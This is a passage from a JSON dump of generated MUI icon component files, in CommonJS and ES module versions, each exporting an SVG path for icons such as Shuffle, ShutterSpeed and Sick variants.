    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 1v22h22V1zm4.41 3 5.18 5.17-1.42 1.41L4 5.41zM20 20h-5.5l2.05-2.05-3.13-3.13 1.41-1.41 3.13 3.13L20 14.5zm0-10.5-2.04-2.04L5.41 20 4 18.59 16.54 6.04 14.5 4H20z\"\n}), 'ShuffleOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 1v22h22V1zm4.41 3 5.18 5.17-1.42 1.41L4 5.41zM20 20h-5.5l2.05-2.05-3.13-3.13 1.41-1.41 3.13 3.13L20 14.5zm0-10.5-2.04-2.04L5.41 20 4 18.59 16.54 6.04 14.5 4H20z\"\n}), 'ShuffleOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M5.41 4l5.18 5.17-1.42 1.41L4 5.41zM20 20h-5.5l2.05-2.05-3.13-3.13 1.41-1.41 3.13 3.13L20 14.5zm0-10.5-2.04-2.04L5.41 20 4 18.59 16.54 6.04 14.5 4H20z\"\n}), 'ShuffleOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M5.41 4l5.18 5.17-1.42 1.41L4 5.41zM20 20h-5.5l2.05-2.05-3.13-3.13 1.41-1.41 3.13 3.13L20 14.5zm0-10.5-2.04-2.04L5.41 20 4 18.59 16.54 6.04 14.5 4H20z\"\n}), 'ShuffleOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 9.17 6.12 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.46 4.46zm4.76-4.32 1.19 1.19L4.7 17.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17.96 7.46l1.19 1.19c.31.31.85.09.85-.36V4.5c0-.28-.22-.5-.5-.5h-3.79c-.45 0-.67.54-.36.85m-.52 8.56-1.41 1.41 3.13 3.13-1.2 1.2c-.31.31-.09.85.36.85h3.79c.28 0 .5-.22.5-.5v-3.79c0-.45-.54-.67-.85-.35l-1.19 1.19z\"\n}), 'ShuffleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 9.17 6.12 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.46 4.46zm4.76-4.32 1.19 1.19L4.7 17.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17.96 7.46l1.19 1.19c.31.31.85.09.85-.36V4.5c0-.28-.22-.5-.5-.5h-3.79c-.45 0-.67.54-.36.85m-.52 8.56-1.41 1.41 3.13 3.13-1.2 1.2c-.31.31-.09.85.36.85h3.79c.28 0 .5-.22.5-.5v-3.79c0-.45-.54-.67-.85-.35l-1.19 1.19z\"\n}), 'ShuffleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-5.5l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5zM5.41 4 4 5.41l5.17 5.17 1.42-1.41zM20 20v-5.5l-2.04 2.04-3.13-3.13-1.41 1.41 3.13 3.13L14.5 20z\"\n}), 'ShuffleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-5.5l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5zM5.41 4 4 5.41l5.17 5.17 1.42-1.41zM20 20v-5.5l-2.04 2.04-3.13-3.13-1.41 1.41 3.13 3.13L14.5 20z\"\n}), 'ShuffleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeed');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeed');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1m9.03 4.39.75-.75c.38-.38.39-1.01 0-1.4l-.01-.01c-.39-.39-1.01-.38-1.4 0l-.75.75C16.07 4.74 14.12 4 12 4c-4.8 0-8.88 3.96-9 8.76C2.87 17.84 6.94 22 12 22c4.98 0 9-4.03 9-9 0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-1.19-5h-3.7c-.38 0-.62.4-.45.74.56 1.12 1.44 2.01 2.57 2.57.23.11.52.02.65-.21l1.37-2.35c.19-.33-.05-.75-.44-.75m3.92-7.35c-.23-.12-.52-.02-.65.2l-1.38 2.39c-.2.34.04.76.43.76h3.76c.38 0 .62-.4.45-.73-.58-1.13-1.49-2.04-2.61-2.62m-.85 7.05c-.19-.34-.68-.35-.87-.01l-2.04 3.52c-.18.32.02.72.39.75 1.34.14 2.69-.18 3.83-.89.22-.14.28-.43.16-.66zm-3.57-1.47L7.93 9.57c-.2-.3-.64-.3-.84 0-.81 1.16-1.17 2.57-1.05 3.98.02.26.24.45.5.45h3.35c.39 0 .63-.44.42-.77m3.66-.49 2.02 3.74c.18.33.64.35.86.05.86-1.18 1.24-2.62 1.12-4.08-.02-.26-.25-.45-.5-.45h-3.05c-.39 0-.63.4-.45.74m-3.8-1.57c.2.31.66.3.85-.02l1.94-3.35c.19-.32-.03-.72-.4-.76-1.36-.12-2.73.21-3.88.97-.22.15-.27.46-.13.68z\"\n}), 'ShutterSpeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1m9.03 4.39.75-.75c.38-.38.39-1.01 0-1.4l-.01-.01c-.39-.39-1.01-.38-1.4 0l-.75.75C16.07 4.74 14.12 4 12 4c-4.8 0-8.88 3.96-9 8.76C2.87 17.84 6.94 22 12 22c4.98 0 9-4.03 9-9 0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-1.19-5h-3.7c-.38 0-.62.4-.45.74.56 1.12 1.44 2.01 2.57 2.57.23.11.52.02.65-.21l1.37-2.35c.19-.33-.05-.75-.44-.75m3.92-7.35c-.23-.12-.52-.02-.65.2l-1.38 2.39c-.2.34.04.76.43.76h3.76c.38 0 .62-.4.45-.73-.58-1.13-1.49-2.04-2.61-2.62m-.85 7.05c-.19-.34-.68-.35-.87-.01l-2.04 3.52c-.18.32.02.72.39.75 1.34.14 2.69-.18 3.83-.89.22-.14.28-.43.16-.66zm-3.57-1.47L7.93 9.57c-.2-.3-.64-.3-.84 0-.81 1.16-1.17 2.57-1.05 3.98.02.26.24.45.5.45h3.35c.39 0 .63-.44.42-.77m3.66-.49 2.02 3.74c.18.33.64.35.86.05.86-1.18 1.24-2.62 1.12-4.08-.02-.26-.25-.45-.5-.45h-3.05c-.39 0-.63.4-.45.74m-3.8-1.57c.2.31.66.3.85-.02l1.94-3.35c.19-.32-.03-.72-.4-.76-1.36-.12-2.73.21-3.88.97-.22.15-.27.46-.13.68z\"\n}), 'ShutterSpeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 1H9v2h6zm4.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-.32-5H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm5.97-4c-.57-1.6-1.78-2.89-3.34-3.54L12.26 11zm-7.04 7.83c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9zM7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm8.79 8.14C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-3.01-9.98C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56z\"\n}), 'ShutterSpeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 1c.46 0 .9.06 1.33.15l-2.72 4.7-2.32-3.56C9.31 7.49 10.6 7 12 7m-6 6c0-1.54.59-2.95 1.55-4.01L10.81 14H6.09c-.05-.33-.09-.66-.09-1m.35 2h5.33l-2.03 3.5.11.06c-1.59-.64-2.84-1.94-3.41-3.56M12 19c-.48 0-.94-.06-1.39-.17l2.85-4.92 2.11 3.9c-1 .74-2.23 1.19-3.57 1.19m6-6c0 1.6-.63 3.06-1.66 4.13L13.57 12h4.34c.05.33.09.66.09 1m-5.74-2 2.05-3.54c1.56.65 2.77 1.94 3.34 3.54z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm6.76-1.53L12.26 11h5.39c-.57-1.6-1.78-2.89-3.34-3.54m-.98-.31C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56zM11.68 15H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm7.35-7.61 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7M9 1h6v2H9zm7.34 16.13C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-5.73 1.7c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9z\"\n}, \"1\")], 'ShutterSpeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShutterSpeedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 1c.46 0 .9.06 1.33.15l-2.72 4.7-2.32-3.56C9.31 7.49 10.6 7 12 7m-6 6c0-1.54.59-2.95 1.55-4.01L10.81 14H6.09c-.05-.33-.09-.66-.09-1m.35 2h5.33l-2.03 3.5.11.06c-1.59-.64-2.84-1.94-3.41-3.56M12 19c-.48 0-.94-.06-1.39-.17l2.85-4.92 2.11 3.9c-1 .74-2.23 1.19-3.57 1.19m6-6c0 1.6-.63 3.06-1.66 4.13L13.57 12h4.34c.05.33.09.66.09 1m-5.74-2 2.05-3.54c1.56.65 2.77 1.94 3.34 3.54z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.55 8.99C6.59 10.05 6 11.46 6 13c0 .34.04.67.09 1h4.72zm6.76-1.53L12.26 11h5.39c-.57-1.6-1.78-2.89-3.34-3.54m-.98-.31C12.9 7.06 12.46 7 12 7c-1.4 0-2.69.49-3.71 1.29l2.32 3.56zM11.68 15H6.35c.57 1.62 1.82 2.92 3.41 3.56l-.11-.06zm7.35-7.61 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7M9 1h6v2H9zm7.34 16.13C17.37 16.06 18 14.6 18 13c0-.34-.04-.67-.09-1h-4.34zm-5.73 1.7c.45.11.91.17 1.39.17 1.34 0 2.57-.45 3.57-1.19l-2.11-3.9z\"\n}, \"1\")], 'ShutterSpeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sick.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2m-3.5-2c0-.73.41-1.71.92-2.66C16.68 2.88 14.44 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12-1.93 0-3.5-1.57-3.5-3.5m-1.88.38 1.06 1.06-1.06 1.06 1.06 1.06-1.06 1.06L13.5 9.5zm-8.3 1.06 1.06-1.06L10.5 9.5l-2.12 2.12-1.06-1.06L8.38 9.5zM15.44 17c-.69-1.19-1.97-2-3.44-2s-2.75.81-3.44 2H6.88c.3-.76.76-1.43 1.34-1.99L5.24 13.3c-.45.26-1.01.28-1.49 0-.72-.41-.96-1.33-.55-2.05s1.33-.96 2.05-.55c.48.28.74.78.74 1.29l3.58 2.07c.73-.36 1.55-.56 2.43-.56 2.33 0 4.32 1.45 5.12 3.5z\"\n}), 'Sick');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sick.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2m-3.5-2c0-.73.41-1.71.92-2.66C16.68 2.88 14.44 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12-1.93 0-3.5-1.57-3.5-3.5m-1.88.38 1.06 1.06-1.06 1.06 1.06 1.06-1.06 1.06L13.5 9.5zm-8.3 1.06 1.06-1.06L10.5 9.5l-2.12 2.12-1.06-1.06L8.38 9.5zM15.44 17c-.69-1.19-1.97-2-3.44-2s-2.75.81-3.44 2H6.88c.3-.76.76-1.43 1.34-1.99L5.24 13.3c-.45.26-1.01.28-1.49 0-.72-.41-.96-1.33-.55-2.05s1.33-.96 2.05-.55c.48.28.74.78.74 1.29l3.58 2.07c.73-.36 1.55-.56 2.43-.56 2.33 0 4.32 1.45 5.12 3.5z\"\n}), 'Sick');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickOutlined.js",
